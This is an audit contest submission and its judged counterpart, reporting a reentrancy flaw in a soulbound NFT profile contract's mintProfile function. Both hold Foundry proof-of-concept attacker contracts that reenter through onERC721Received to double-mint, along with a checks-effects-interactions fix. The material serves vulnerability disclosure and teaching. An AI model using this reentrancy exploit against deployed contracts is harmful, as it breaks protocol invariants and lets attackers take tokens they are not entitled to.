DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile() allows double-minting via _safeMint callback

rivera

Description

  • Normal behavior: each address should only ever be able to mint one soulbound profile, enforced by checking profileToToken[msg.sender] == 0.

  • The issue: _safeMint() is called before profileToToken[msg.sender] is assigned. If msg.sender is a contract implementing onERC721Received, it can reenter mintProfile() from inside that callback while profileToToken[msg.sender] is still 0, passing the guard a second time.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// @> external call happens here, before the effects below — CEI violation
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
}

Risk

Likelihood:

  • Reason 1: Requires the caller to be a custom contract implementing IERC721Receiver, not a plain EOA wallet — this is a real, unrestricted possibility since nothing in the contract prevents contract-based callers.

  • Reason 2: The attack costs nothing beyond gas and requires no special timing or race condition — it's a straightforward, repeatable reentrant call.

Impact:

  • Impact 1: Breaks the contract's core invariant (one profile per address) for any contract-based address.

  • Impact 2: profileToToken only ever records one of the minted tokens, leaving the other as a live, owned NFT completely untracked by the contract's own bookkeeping — downstream logic relying on profileToToken to reflect true ownership becomes unreliable.

Proof of Concept

test/PoC_FindingE.sol. Two tests: one confirms the reentrant double-mint, one confirms a normal EOA can only mint once.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
/// @notice mintProfile() calls _safeMint() (which can trigger a callback to
/// msg.sender) BEFORE profileToToken[msg.sender] is set. A contract can
/// reenter mintProfile() from inside that callback while the guard still
/// reads 0, minting a second token.
contract ReentrantMinter is IERC721Receiver {
SoulboundProfileNFT public target;
uint256 public mintCount;
​
constructor(SoulboundProfileNFT _target) {
target = _target;
}
​
function attack() external {
target.mintProfile("Attacker", 1, "ipfs://attacker"); // call #1
}
​
// OZ's _safeMint calls this automatically since this contract has code.
// Fires mid-execution of call #1, before profileToToken is set.
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
mintCount++;
if (mintCount < 2) {
target.mintProfile("Attacker2", 1, "ipfs://attacker2"); // call #2 — reentrant
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
contract ReentrancyPoCTest is Test {
SoulboundProfileNFT nft;
ReentrantMinter attacker;
address eoa = makeAddr("eoa");
​
function setUp() public {
nft = new SoulboundProfileNFT();
attacker = new ReentrantMinter(nft);
}
​
function testDoubleMintViaReentrancy() public {
attacker.attack();
​
assertEq(nft.balanceOf(address(attacker)), 2);
assertEq(nft.ownerOf(1), address(attacker));
assertEq(nft.ownerOf(2), address(attacker));
​
// profileToToken only tracks tokenId 1 — tokenId 2 is a live, owned
// NFT with zero record in the contract's own bookkeeping (orphaned).
assertEq(nft.profileToToken(address(attacker)), 1);
}
​
function testNormalEOAMintsOnlyOnce() public {
vm.prank(eoa);
nft.mintProfile("NormalUser", 1, "ipfs://normal");
​
assertEq(nft.balanceOf(eoa), 1); // EOA has no callback, no reentrancy possible
}
}

Both [PASS]. The second test is a control: a normal EOA mints exactly once, isolating the bug to contract-based callers.

Recommended Mitigation

The fix is a straightforward CEI reordering: perform the state writes before the external call, so a reentrant call sees profileToToken[msg.sender] already non-zero.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
}

As a defense-in-depth measure on top of the reordering, adding OpenZeppelin's nonReentrant modifier to mintProfile() is also recommended, in case any other external call is introduced into this function in the future.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!